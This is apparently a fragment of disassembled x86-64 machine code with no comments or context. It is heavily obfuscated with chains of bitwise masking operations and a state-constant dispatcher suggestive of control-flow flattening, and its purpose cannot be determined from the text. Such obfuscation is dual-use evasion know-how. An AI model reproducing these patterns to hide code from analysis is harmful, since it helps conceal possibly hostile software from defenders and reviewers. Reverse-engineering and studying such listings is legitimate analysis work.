xor dl, r11b
or dl, r8b
or r11b, cl
mov ecx, r11d
xor cl, dl
or r11b, dl
xor r11b, 1
or r11b, cl
mov r8d, r11d
xor r8b, 1
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r9d, edx
xor r9b, cl
xor cl, 1
or cl, bl
or bl, dl
mov r10d, r8d
or r10b, r11b
xor cl, 1
or cl, r9b
xor cl, bl
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
xor bl, 1
mov r9d, ecx
and r9b, bl
xor bl, cl
mov ecx, r10d
xor cl, 1
or bl, r9b
mov eax, ecx
xor al, r11b
and al, cl
and r10b, r8b
and cl, r11b
or cl, r10b
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
xor bl, 1
mov eax, ebx
xor al, cl
xor al, 1
and al, cl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor r8b, dl
and r8b, dl
xor dl, r11b
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
xor dl, bl
and bl, dl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x1f90d707
mov ecx, 0xa5a799c1
cmovne eax, ecx
test dl, 1
mov ecx, 0x1f90d707
cmovne ecx, eax
jmp 0x14001dc15
cmp ecx, 0x6a251111
jg 0x1400059d5
cmp ecx, 0x4f1408b0
jle 0x14000d55e
cmp ecx, 0x4f1408b1
je 0x1400102ea
cmp ecx, 0x4fb7e53d
je 0x140011f8b
cmp ecx, 0x5dcf140f
jne 0x1400014e0
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
movzx eax, word [rsp + 0x18a]
mov ecx, 0x6a251112
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
cmp ecx, 0xf066d3ca
jle 0x14000d58d
cmp ecx, 0xf066d3cb
je 0x1400148a3
cmp ecx, 0xf60a917c
je 0x1400148d1
cmp ecx, 0xfa5076ee
jne 0x1400014e0
cmp byte [rsp + 0x187], 0
mov ecx, 0x34ab5bad
mov eax, 0xae6896ea
jmp 0x14001f962
cmp ecx, 0x2193276f
jle 0x14000d5cf
cmp ecx, 0x21932770
je 0x140014963
cmp ecx, 0x2a0e2c08
je 0x140014981
cmp ecx, 0x339453cc
jne 0x1400014e0
mov ecx, dword [0x1400c5670]
lea r9d, [rcx - 1]
imul r9d, ecx
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, r9d
mov edx, r8d
and edx, ecx
xor ecx, r8d
or ecx, edx
mov r11d, ecx
not r11d
and ecx, 0xeaabdf18
mov edx, r11d
and edx, 0x155420e7
or edx, ecx
xor edx, 0xb583ac1b
and r11d, 0x5f287303
or r11d, edx
mov edx, r11d
not edx
mov ecx, r8d
and ecx, 0xa0d78cfc
mov edi, r9d
and edi, 0x5f287303
or edi, ecx
mov esi, edi
xor esi, r8d
and esi, edi
mov ecx, esi
not ecx
and ecx, 0x425a121a
mov r14d, esi
and r14d, 0xbda5ede5
or r14d, ecx
mov r10d, r14d
xor r10d, 0xbda5ede5
mov edi, edx
or edi, 0x5c7f8285
mov eax, edi
not eax
mov ebx, r11d
or ebx, 0xa3807d7a
mov ecx, ebx
not ecx
xor r14d, 0x425a121a
mov ebp, r10d
and ebp, 0xa3807d7a
and esi, 0x5c7f8285
or esi, ebp
and edi, 0x20e074c2
and eax, 0x83000938
or eax, edi
and ebx, 0x20e074c2
and ecx, 0x5c1f8205
or ecx, ebx
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x3646ad1e
and ecx, 0xc9b952e1
or ecx, eax
mov eax, esi
not eax
and eax, 0x3646ad1e
and esi, 0xc9b952e1
or esi, eax
xor esi, ecx
mov eax, edx
and eax, 0x6b829458
and r11d, 0x947d6ba7
or r11d, eax
or edx, r14d
and r14d, 0x6b829458
and r10d, 0x947d6ba7
or r10d, r14d
xor r10d, r11d
not edx
or edx, r10d
mov eax, edx
not eax
and eax, 0x2c945540
and edx, 0xd36baabf
or edx, eax
mov eax, edx
xor eax, 0x902aa8bc
xor edx, 0x2c945540
mov ebp, esi
not ebp
mov ecx, ebp
and ecx, 0x6b414603
and esi, 0x94beb9fc
or esi, ecx
or ebp, edx
and edx, 0x6b414603
and eax, 0x94beb9fc
or eax, edx
xor eax, esi
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x8200c004
and ebp, 0x15062d00
or ebp, ecx
mov ecx, ebp
xor ecx, 0x5060000
xor ebp, 0xca799296
or eax, 0x9706ed04
mov edx, eax
not edx
and ebp, 0xda79bf96
and ecx, 0x5064000
or ecx, ebp
and eax, 0xda79bf96
and edx, 0x20800069
or edx, eax
xor edx, ecx
mov eax, edx
not eax
and eax, 0xe4858c93
and edx, 0x1b7a736c
or edx, eax
mov eax, edx
xor eax, 0xc020214
xor edx, 0x8214e829
and eax, 0x5d420756
and edx, 0xa2bdf8a9
or edx, eax
mov eax, edx
xor eax, 0x5d420756
mov ecx, edx
xor ecx, 0x200000
and ecx, 0x600044
xor edx, 0x57281693
and edx, eax
and eax, 0xa0a1181
or eax, ecx
xor eax, 0xa0a1181
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
and eax, 0x77538aad
not edx
and edx, 0x88ac7552
or edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x7d399b68
and edx, 0x82c66497
or edx, eax
xor edi, edx
and edi, edx
mov eax, r8d
and eax, 0x82006097
mov ecx, r9d
and ecx, 0xc60400
or ecx, eax
xor ecx, 0xc60400
mov eax, r9d
xor eax, 0x82c66497
and eax, r9d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x71985772
and eax, 0x8e67a88d
or eax, ecx
xor eax, 0x8e67a88d
and r8d, 0x1546a9eb
and r9d, 0xeab95614
or r9d, r8d
xor r9d, 0xeab95614
mov ecx, eax
and ecx, r9d
xor r9d, eax
or r9d, ecx
mov eax, r9d
not eax
and eax, 0xedf3af52
and r9d, 0x120c50ad
or r9d, eax
mov ebp, r9d
xor ebp, 0x120c50ad
mov edx, edi
not edx
mov eax, edx
and eax, 0xf171613d
mov ebx, edi
and ebx, 0xe8e9ec2
or ebx, eax
mov eax, ebx
xor eax, 0xc0c9642
xor r9d, 0xedf3af52
xor ebx, 0xf171613d
mov ecx, ebx
and ecx, 0x32d348b9
and eax, 0xcd2cb746
or eax, ecx
mov ecx, ebp
and ecx, 0x32d348b9
mov esi, r9d
and esi, 0xcd2cb746
or esi, ecx
xor esi, eax
or ebx, ebp
not ebx
or ebx, esi
mov r8d, ebx
not r8d
and edx, 0x6dea2b5a
mov eax, edi
and eax, 0x9215d4a5
or eax, edx
xor eax, ebp
xor eax, 0x6dea2b5a
and eax, ebp
and r9d, 0x3671ed21
and ebp, 0xc98e12de
or ebp, r9d
xor ebp, edi
xor ebp, 0x3671ed21
and ebp, edi
mov edx, eax
and edx, ebp
xor ebp, eax
or ebp, edx
and ebx, 0x6ab864dd
mov r10d, r8d
and r10d, 0x95479b22
or r10d, ebx
mov r9d, r10d
xor r9d, 0x95479b22
mov esi, ebp
not esi
xor r10d, 0x6ab864dd
mov ebx, r9d
and ebx, 0xe6d876b
and r8d, 0xf1927894
or r8d, ebx
mov ecx, ebp
or ecx, 0xf1927894
mov ebx, ecx
not ebx
mov eax, esi
or eax, 0xe6d876b
mov edi, eax
not edi
and ecx, 0xd14428f1
and ebx, 0xe29870a
or ebx, ecx
and eax, 0xd14428f1
and edi, 0x20925004
or edi, eax
xor edi, ebx
mov eax, r8d
not eax
and eax, edi
not edi
and edi, r8d
or edi, eax
mov eax, r10d
and eax, 0xe7526414
and r9d, 0x18ad9beb
or r9d, eax
or r10d, ebp
and ebp, 0xe7526414
and esi, 0x18ad9beb
or esi, ebp
xor esi, r9d
not r10d
or r10d, esi
not r10d
mov eax, edi
and eax, r10d
xor r10d, edi
or r10d, eax
mov ebx, r10d
not ebx
mov eax, ebx
and eax, 0x64a69d71
mov ecx, r10d
and ecx, 0x9b59628e
or ecx, eax
mov eax, ecx
xor eax, 0x1118000c
xor ecx, 0x40a68c20
mov edx, r10d
xor edx, 0xd1beecae
and edx, r10d
or ecx, 0x2e411351
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0x8a477eb2
and eax, 0x51b8800c
or eax, edi
or ecx, ebp
and ebp, 0x8a477eb2
and edx, 0x75b8814d
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2e411351
and ecx, 0xd1beecae
or ecx, eax
mov eax, ecx
not eax
and eax, 0x16068d22
and ecx, 0xe9f972dd
or ecx, eax
mov ebp, ecx
xor ebp, 0xe9f972dd
xor ecx, 0x8400
and ecx, 0x850f4d5
mov eax, ebp
and eax, 0xf7af0b2a
or eax, ecx
xor eax, 0x8a969042
and ebp, 0x82c66497
or ebp, eax
mov eax, ebp
not eax
and eax, 0x37e94fc
and ebp, 0xfc816b03
or ebp, eax
mov eax, ebp
xor eax, 0xfc816b03
xor ebp, 0x37e94fc
and ebx, 0x3b79ace5
and r10d, 0xc486531a
or r10d, ebx
mov ecx, r10d
xor ecx, 0x44001308
and ecx, 0x7d399b68
xor r10d, 0xb9bfc872
or r10d, ecx
mov ecx, r10d
not ecx
and ecx, ebp
or ebp, r10d
not ebp
and r10d, eax
or r10d, ecx
mov eax, ebp
and eax, r10d
xor r10d, ebp
or r10d, eax
mov r8d, r10d
not r8d
mov ecx, r10d
or ecx, 0x81b44483
mov eax, ecx
not eax
mov edx, r10d
xor edx, 0x7e4bbb7c
and edx, r10d
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x14020e12
and eax, 0x6a49b16c
or eax, ebx
or ecx, ebp
and ebp, 0x14020e12
and edx, 0xebfdf1ed
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x81b44483
and ecx, 0x7e4bbb7c
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x9fa587ce
and edx, ecx
mov esi, ecx
not esi
mov ecx, r8d
or ecx, r10d
mov ebp, ecx
not ebp
and ebp, 0x1c6c8f01
and ecx, 0xe39370fe
or ecx, ebp
mov r9d, ecx
xor r9d, 0xe39370fe
mov ebp, ecx
xor ebp, 0x1c6c8f01
and esi, 0xb8e5c094
and eax, 0x471a3f6b
or eax, esi
mov r11d, eax
xor r11d, 0x471a3f6b
mov edi, eax
xor edi, 0x2740475a
and edi, r11d
xor ecx, 0x7c36f730
mov ebx, ecx
and ebx, ebp
and ecx, r9d
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov esi, edx
not esi
and esi, ecx
not ecx
and ecx, edx
or ecx, esi
xor eax, 0xb8e5c094
mov edx, eax
and edx, 0xaa5242af
and r11d, 0x55adbd50
or r11d, edx
or eax, r9d
and r9d, 0xaa5242af
and ebp, 0x55adbd50
or ebp, r9d
xor ebp, r11d
not eax
or eax, ebp
mov edx, eax
not edx
and edx, 0xbb7ea6e1
and eax, 0x4481591e
or eax, edx
mov edx, eax
xor edx, 0x40004010
mov r11d, ecx
not r11d
xor eax, 0xbb7ea6e1
mov ebp, r11d
and ebp, 0xb5bfb9af
and ecx, 0x4a404650
or ecx, ebp
or r11d, eax
and eax, 0xb5bfb9af
and edx, 0x4a404650
or edx, eax
xor edx, ecx
not r11d
or r11d, edx
mov eax, r11d
not eax
mov ecx, eax
mov ebp, eax
mov dword [rsp + 0x48], eax
and ecx, 0xc0a4c782
mov eax, r11d
xor eax, 0xc0a4c782
and eax, r11d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xb8df4919
and eax, 0x4720b6e6
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x4b68a4b5
and eax, 0xb4975b4a
or eax, ecx
xor eax, 0xb4975b4a
mov ecx, ebp
and ecx, 0x44179482
mov r13d, r11d
and r13d, 0xbbe86b7d
or r13d, ecx
xor r13d, 0xbbe86b7d
mov ecx, eax
and ecx, r13d
xor r13d, eax
or r13d, ecx
mov r12d, r13d
not r12d
mov eax, r8d
and eax, 0xf40a2462
and r10d, 0x890000d
or r10d, eax
mov eax, r10d
xor eax, 0x8900008
xor r10d, 0x242ae6e2
or r8d, 0xfc9a246f
mov ebx, r8d
not ebx
and r10d, 0x242ae6e7
and eax, 0xd8900008
or eax, r10d
and r8d, 0x242ae6e7
and ebx, 0x3451910
or ebx, r8d
xor ebx, eax
mov eax, ebx
not eax
and eax, 0xc9b0a1bf
and ebx, 0x364f5e40
or ebx, eax
mov edi, ebx
xor edi, 0xcad57a2f
mov eax, ebx
xor eax, 0x1020550
and eax, 0x49821d56
xor ebx, 0x983ced1b
and ebx, edi
and edi, 0xb67de2a9
or edi, eax
mov ebp, edi
xor ebp, 0xb67de2a9
xor edi, 0x49821d56
mov ecx, edi
or ecx, 0xad1668cb
mov eax, ecx
not eax
mov esi, ebx
not esi
mov edx, ecx
and edx, 0x89bf9d08
and eax, 0x52400234
or eax, edx
or ecx, esi
and esi, 0x89bf9d08
and ebx, 0x764062f7
or ebx, esi
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x1d8e0762
and ecx, 0xe271f89d
or ecx, eax
mov eax, ecx
xor eax, 0xc0a20002
and edi, 0x415c4058
mov edx, ebp
and edx, 0xbea3bfa7
or edx, edi
xor edx, 0x3927cec3
and ebp, 0x787b8e9b
or ebp, edx
mov edx, ebp
not edx
and edx, 0x3f130f80
and ebp, 0xc0ecf07f
or ebp, edx
mov edx, ebp
xor edx, 0xc0a8100f
xor ecx, 0x371c1ecd
xor ebp, 0x3f130f80
mov ebx, ecx
and ebx, 0x845eb70
and eax, 0xf7ba148f
or eax, ebx
or ecx, ebp
and ebp, 0x845eb70
and edx, 0xf7ba148f
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
mov eax, ecx
xor eax, 0x8cab18b0
and eax, ecx
not ecx
and ecx, 0x8c800080
and edx, 0x2b1830
or edx, ecx
xor edx, 0x2b1830
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7354e74f
and eax, 0x8cab18b0
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb62c5b90
and eax, 0x49d3a46f
or eax, ecx
mov edi, eax
xor edi, 0x49102005
xor eax, 0x82244210
and eax, 0x82e7c67a
and edi, 0x7d183985
or edi, eax
mov esi, edi
xor esi, 0x82e7c67a
mov eax, edi
xor eax, 0x55001085
mov ecx, r13d
and ecx, 0x61132d5a
mov r10d, r12d
and r10d, 0x9eecd2a5
or r10d, ecx
mov ecx, r10d
xor ecx, 0x9eecd2a5
mov ebp, ecx
mov dword [rsp + 0x40], ecx
mov ecx, r10d
xor ecx, 0x61132d5a
mov edx, ecx
mov dword [rsp + 0x3c], ecx
mov ecx, esi
and ecx, 0x2afeaf20
and eax, 0xd50150df
or eax, ecx
mov r15d, eax
xor r15d, 0x540140d2
xor eax, 0x28ea8a00
and eax, 0xa9ea9a0d
and r15d, 0x561565f2
or r15d, eax
mov r14d, r15d
xor r14d, 0xa9ea9a0d
mov eax, edx
and eax, 0xe166d15a
mov edx, ebp
and edx, 0x1e992ea5
or edx, eax
mov ecx, edx
xor ecx, 0x1e992ea5
xor edx, 0xc046c04a
and edx, 0xc2cfecea
mov eax, ecx
and eax, 0x3d301315
or eax, edx
xor eax, 0x3abc276b
and ecx, 0xf873cb81
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5ed5e3ad
and ecx, 0xa12a1c52
or ecx, eax
mov ebx, ecx
and r13d, 0x1d6fd9e
and r12d, 0xfe290261
or r12d, r13d
mov eax, r12d
xor eax, 0x6080060
and eax, 0x78c347e
xor r12d, 0xf9a5361f
or r12d, eax
mov r13d, r12d
not r13d
xor r15d, 0x561565f2
mov eax, r15d
and eax, 0xdba8897c
mov ebp, r14d
and ebp, 0x24577683
or ebp, eax
xor ebp, 0x23db42fd
mov r9d, ebp
xor r9d, r15d
and r9d, ebp
and esi, 0x78c347e
xor edi, 0x856bf204
or edi, esi
mov eax, edi
not eax
and eax, 0x131cf5de
and edi, 0xece30a21
or edi, eax
mov esi, ecx
xor esi, 0x5ed5e3ad
mov eax, r12d
and eax, 0x72a1065e
and r13d, 0x8d5ef9a1
or r13d, eax
xor ecx, 0xba1981c6
mov ebp, ecx
and ebp, esi
mov eax, ebp
not eax
mov edx, eax
and edx, 0xd6096920
and ebp, 0x29f696df
or ebp, edx
xor ebx, 0xa12a1c52
and ecx, ebx
mov edx, ecx
not edx
or eax, edx
and edx, 0xd6096920
and ecx, 0x29f696df
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ebp, r13d
xor ebp, 0x8d5ef9a1
mov edx, r13d
xor edx, 0x69929bca
and edx, ebp
mov ecx, edx
not ecx
mov r8d, ecx
and r8d, 0x4a33e4d5
and edx, 0xb5cc1b2a
or edx, r8d
or r12d, 0x1b339d94
mov r8d, r12d
not r8d
or ecx, r12d
and r12d, 0x4a33e4d5
and r8d, 0xa4cc022a
or r8d, r12d
xor r8d, edx
not ecx
or ecx, r8d
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
mov eax, ebx
and eax, 0xf4ec5307
and esi, 0xb13acf8
or esi, eax
mov eax, edi
xor eax, 0xece30a21
xor r13d, 0x72a1065e
or ebx, r13d
and r13d, 0xf4ec5307
and ebp, 0xb13acf8
or ebp, r13d
xor ebp, esi
not ebx
or ebx, ebp
mov edx, ebx
not edx
and edx, 0xc1c2a501
and ebx, 0x3e3d5afe
or ebx, edx
xor ebx, 0x3e3d5afe
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov r8d, r9d
not r8d
mov edx, edi
xor edx, 0x1210c106
and edx, 0x72d3c107
xor edi, 0x92106be4
and edi, eax
and eax, 0x8d2c3ef8
or eax, edx
mov ebp, eax
xor ebp, 0x8d2c3ef8
mov edx, r8d
and edx, 0x7ef361c5
mov esi, r9d
and esi, 0x810c9e3a
or esi, edx
mov edx, ebp
and edx, 0x7ef361c5
mov ecx, edx
and ecx, edi
xor edi, edx
or edi, ecx
mov ecx, esi
not ecx
and ecx, 0x34a27532
and esi, 0xcb5d8acd
or esi, ecx
mov ecx, edi
not ecx
and ecx, 0x34a27532
and edi, 0xcb5d8acd
or edi, ecx
xor edi, esi
mov ecx, r9d
and ecx, 0xc1a70921
and r8d, 0x3e58f6de
or r8d, ecx
xor eax, 0x72d3c107
or r9d, eax
and eax, 0xc1a70921
and ebp, 0x3e58f6de
or ebp, eax
xor r10d, 0x7c4223dd
mov ecx, dword [rsp + 0x40]
and r10d, ecx
xor ebp, r8d
not r9d
or r9d, ebp
mov eax, r9d
not eax
and eax, 0xd5374308
and r9d, 0x2ac8bcf7
or r9d, eax
xor r9d, 0x2ac8bcf7
mov eax, edi
and eax, r9d
xor r9d, edi
or r9d, eax
mov eax, ebx
not eax
and eax, 0x737866e0
and ebx, 0x8c87991f
or ebx, eax
mov eax, r9d
not eax
and eax, 0x1286220
mov edx, r9d
and edx, 0x725004c0
or edx, eax
xor edx, 0x725004c0
and r9d, 0x8c87991f
or r9d, edx
mov eax, ebx
not eax
and eax, 0x9ce74abb
and ebx, 0x6318b544
or ebx, eax
mov eax, r9d
not eax
and eax, 0x9ce74abb
and r9d, 0x6318b544
or r9d, eax
xor r9d, ebx
mov eax, dword [rsp + 0x3c]
and eax, 0xebeafa93
and ecx, 0x1415056c
or ecx, eax
mov ebp, ecx
xor ebp, 0x1415056c
mov eax, r15d
and eax, 0xc7e8c829
and r14d, 0x381737d6
or r14d, eax
mov eax, r14d
xor eax, 0x381737d6
xor ecx, 0x9440beb
and ecx, ebp
xor r14d, 0x25463951
and r14d, eax
or r15d, 0xe2aef178
mov edx, r15d
not edx
mov ebx, ecx
and ebx, r10d
xor r10d, ecx
or r10d, ebx
mov ecx, r14d
not ecx
mov ebx, ecx
and ebx, 0xb860e343
and r14d, 0x479f1cbc
or r14d, ebx
or ecx, r15d
and r15d, 0xb860e343
and edx, 0x5110c84
or edx, r15d
xor edx, r14d
not ecx
or ecx, edx
mov edx, r10d
not edx
and edx, 0x1c8c5bfb
and r10d, 0xe373a404
or r10d, edx
mov edx, ecx
not edx
and edx, 0x1c8c5bfb
and ecx, 0xe373a404
or ecx, edx
xor ecx, r10d
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0x4efd4aed
and eax, 0xb102b512
or eax, edx
mov edx, eax
xor edx, 0xa002a000
xor eax, 0x4efd4aed
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x57555732
and ecx, 0xa8aaa8cd
or ecx, ebx
or ebp, eax
and eax, 0x57555732
and edx, 0xa8aaa8cd
or edx, eax
xor edx, ecx
not ebp
or ebp, edx
mov eax, ebp
mov ecx, ebp
xor ecx, 0x6dc4fe34
and ecx, ebp
not ebp
and ebp, 0x584b200
and eax, 0x68404c34
or eax, ebp
mov edx, eax
xor edx, 0x28404824
xor eax, 0x97bfb3cb
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x43830413
and edx, 0x2c44fa24
or edx, ebx
or eax, ebp
and ebp, 0x43830413
and ecx, 0xbc7cfbec
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1cf33c55
and eax, 0xe30cc3aa
or eax, ecx
mov ecx, eax
xor ecx, 0x80c8159e
xor eax, 0x7137c261
mov edx, eax
and edx, 0x2e13ea40
and ecx, 0xd1ec15bf
or ecx, edx
xor ecx, 0x2e13ea40
xor eax, ecx
and eax, ecx
mov ecx, r9d
not ecx
and ecx, eax
mov edx, eax
not edx
mov ebp, r9d
xor ebp, edx
and ebp, r9d
and edx, r9d
or edx, ecx
mov eax, ebp
not eax
mov ecx, edx
not ecx
mov ebx, eax
and ebx, 0x3581f77f
and ebp, 0xca7e0880
or ebp, ebx
or eax, ecx
and ecx, 0x3581f77f
and edx, 0xca7e0880
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
mov ebp, eax
and ebp, 0x62ab293c
mov ecx, edx
and ecx, 0x9d54d6c3
or ecx, ebp
mov ebp, ecx
xor ebp, 0x85045041
and ebp, 0x87847165
xor ecx, 0x1ad0a7a6
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xdf45b814
and ecx, 0x20ba47eb
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2000426a
and edx, 0x787b8e9a
xor eax, 0x87847165
or eax, edx
mov edx, eax
not edx
and edx, 0xe5805da5
and eax, 0x1a7fa25a
or eax, edx
mov edx, eax
xor edx, 0x200025a
xor ecx, 0xdf45b814
xor eax, 0xe5805da5
mov r9d, ecx
or r9d, eax
mov ebx, r9d
not ebx
and ecx, 0xd9ffa585
and ebp, 0x26005a7a
or ebp, ecx
and eax, 0xd9ffa585
and edx, 0x26005a7a
or edx, eax
xor edx, ebp
mov eax, edx
not eax
mov ecx, r9d
and ecx, 0x741c64a1
and ebx, 0x8be39b5e
or ebx, ecx
or r9d, eax
and eax, 0x741c64a1
and edx, 0x8be39b5e
or edx, eax
xor edx, ebx
not r9d
or r9d, edx
mov ebx, dword [rsp + 0x48]
mov eax, ebx
and eax, 0x8890c8c3
mov edx, r11d
and edx, 0x1470308
or edx, eax
xor edx, 0x1470308
mov ecx, r11d
and ecx, 0x76283434
or ecx, edx
mov eax, ecx
not eax
and eax, 0x76283434
and ecx, 0x89d7cbcb
or ecx, eax
mov eax, ecx
mov r10d, ecx
not r10d
mov edx, r10d
and edx, 0xab65ed0f
and eax, 0x549a12f0
or eax, edx
xor eax, 0xfdec98d1
or eax, r10d
mov ebp, eax
not ebp
mov edx, ebx
and edx, 0x568975de
xor r11d, 0xa9768a21
or r11d, edx
mov edx, r11d
not edx
and edx, 0x7c371d9f
and r11d, 0x83c8e260
or r11d, edx
mov r14d, r11d
xor r14d, 0x83c8e260
xor r11d, 0x7c371d9f
mov edx, eax
xor edx, 0x83c7cb60
mov r8d, edx
and r8d, eax
and edx, ebp
mov edi, r11d
and edi, 0x7c38349f
mov r15d, r14d
and r15d, 0x83c7cb60
or r15d, edi
mov ebx, r8d
not ebx
mov edi, ebx
and edi, 0x5212ff20
and r8d, 0xaded00df
or r8d, edi
mov edi, edx
not edi
or ebx, edi
and edi, 0x5212ff20
and edx, 0xaded00df
or edx, edi
mov esi, ecx
xor esi, 0x3172ba37
and esi, ecx
xor edx, r8d
mov r8d, dword [0x1400c566c]
not ebx
or ebx, edx
mov edx, ebx
not edx
and edx, 0x6cd7e1c0
and ebx, 0x93281e3f
or ebx, edx
mov edx, r15d
not edx
and edx, 0x6cd7e1c0
and r15d, 0x93281e3f
or r15d, edx
xor r15d, ebx
mov edx, ebp
and edx, 0x2f2f5eca
and eax, 0xd0d0a135
or eax, edx
or ebp, r14d
and r14d, 0x2f2f5eca
and r11d, 0xd0d0a135
or r11d, r14d
xor r11d, eax
not ebp
or ebp, r11d
mov eax, ebp
not eax
and eax, 0x1d54c2e6
and ebp, 0xe2ab3d19
or ebp, eax
mov eax, ebp
xor eax, 0xe2090510
xor ebp, 0x1d54c2e6
mov edx, r15d
not edx
mov ebx, edx
and ebx, 0x5e6f8ad
and r15d, 0xfa190752
or r15d, ebx
or edx, ebp
and ebp, 0x5e6f8ad
and eax, 0xfa190752
or eax, ebp
xor eax, r15d
not edx
or edx, eax
mov eax, edx
mov ebp, edx
xor ebp, 0x7580adba
and ebp, edx
not edx
and edx, 0x80ad18
and eax, 0x750000a2
or eax, edx
mov edx, eax
xor edx, 0x50000002
xor eax, 0x8affff5d
mov ebx, ebp
not ebx
mov edi, eax
and edi, 0x2d0aa9e4
and edx, 0x5080041a
or edx, edi
or eax, ebx
and ebx, 0x2d0aa9e4
and ebp, 0xd2f5561b
or ebp, ebx
xor ebp, edx
not eax
or eax, ebp
mov edx, eax
not edx
and edx, 0xa097b09d
and eax, 0x5f684f62
or eax, edx
mov edx, eax
xor edx, 0x839e68f8
and r10d, 0x6641a737
and ecx, 0x99be58c8
or ecx, r10d
mov ebp, ecx
xor ebp, 0x99be58c8
mov ebx, ebp
and ebx, 0x3172ba37
mov edi, ebx
and edi, esi
xor esi, ebx
or esi, edi
mov edi, esi
not edi
and edi, 0xce8d45c9
and esi, 0x3172ba36
or esi, edi
and ebp, 1
xor ecx, 0x99be58c9
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xca1ad453
and ecx, 0x35e52bac
or ecx, ebp
xor ecx, 0x35e52bac
mov ebp, esi
and ebp, ecx
xor ecx, esi
or ecx, ebp
mov ebp, ecx
not ebp
and ecx, ebp
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x9a819bbb
and ecx, 0x657e6444
or ecx, ebp
mov ebp, ecx
xor ebp, 0x64622000
xor ecx, 0x888113b3
and ecx, 0x899d57f7
and ebp, 0x7662a808
or ebp, ecx
mov ecx, ebp
xor ecx, 0x899d57f7
xor ebp, 0x7662a808
xor eax, 0x7c619707
and ebp, eax
or eax, ecx
mov ebx, eax
not ebx
and ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, eax
and ebp, 0x38dcf84c
and ebx, 0xc72307b3
or ebx, ebp
or eax, edx
and edx, 0x38dcf84c
and ecx, 0xc72307b3
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ebp, eax
not ebp
mov ecx, eax
and ecx, 0xd51fd6f9
mov edx, ebp
and edx, 0x2ae02906
or edx, ecx
mov ecx, edx
xor ecx, 0x2a02006
xor edx, 0x44188421
and edx, 0x6c588d21
and ecx, 0x93a772de
or ecx, edx
mov edx, ecx
xor edx, 0x17248efd
xor ecx, 0x93a772de
and ecx, edx
and ebp, 0x7b7c03dc
xor eax, 0x8483fc23
or eax, ebp
mov edx, eax
not edx
and edx, 0xd75e956f
and eax, 0x28a16a90
or eax, edx
mov edi, eax
xor edi, 0x28a16a90
mov ebp, ecx
not ebp
and ebp, 0x7d6299c2
mov ebx, ecx
and ebx, 0x829d663d
or ebx, ebp
mov r10d, ebx
xor r10d, 0x829d663d
mov ebp, eax
xor ebp, 0x96160069
and ebp, 0x96b72af9
xor eax, 0xa134e84
and eax, edi
and edi, 0x6948d506
or edi, ebp
mov r11d, edi
xor r11d, 0x84000
mov edx, ebx
xor edx, 0x5fd0bdd6
and edx, r10d
and ecx, 0xdd4ddbeb
xor edi, 0x96b72af9
mov ebp, edi
or ebp, 0xdd4ddbeb
mov esi, ebp
not esi
mov r14d, edx
and r14d, ecx
xor ecx, edx
or ecx, r14d
mov edx, eax
not edx
mov r14d, ebp
and r14d, 0xcab7be24
and esi, 0x20000010
or esi, r14d
or ebp, edx
and edx, 0xcab7be24
and eax, 0x354841db
or eax, edx
xor eax, esi
not ebp
or ebp, eax
mov eax, ecx
not eax
and eax, 0x780a4d0d
and ecx, 0x87f5b2f2
or ecx, eax
mov eax, ebp
not eax
and eax, 0x780a4d0d
and ebp, 0x87f5b2f2
or ebp, eax
xor ebp, ecx
xor ebx, 0x7d6299c2
mov eax, ebx
and eax, 0xff42bf17
and r10d, 0xbd40e8
or r10d, eax
or ebx, edi
and edi, 0xff42bf17
and r11d, 0xbd40e8
or r11d, edi
xor r11d, r10d
not ebx
or ebx, r11d
mov eax, ebx
not eax
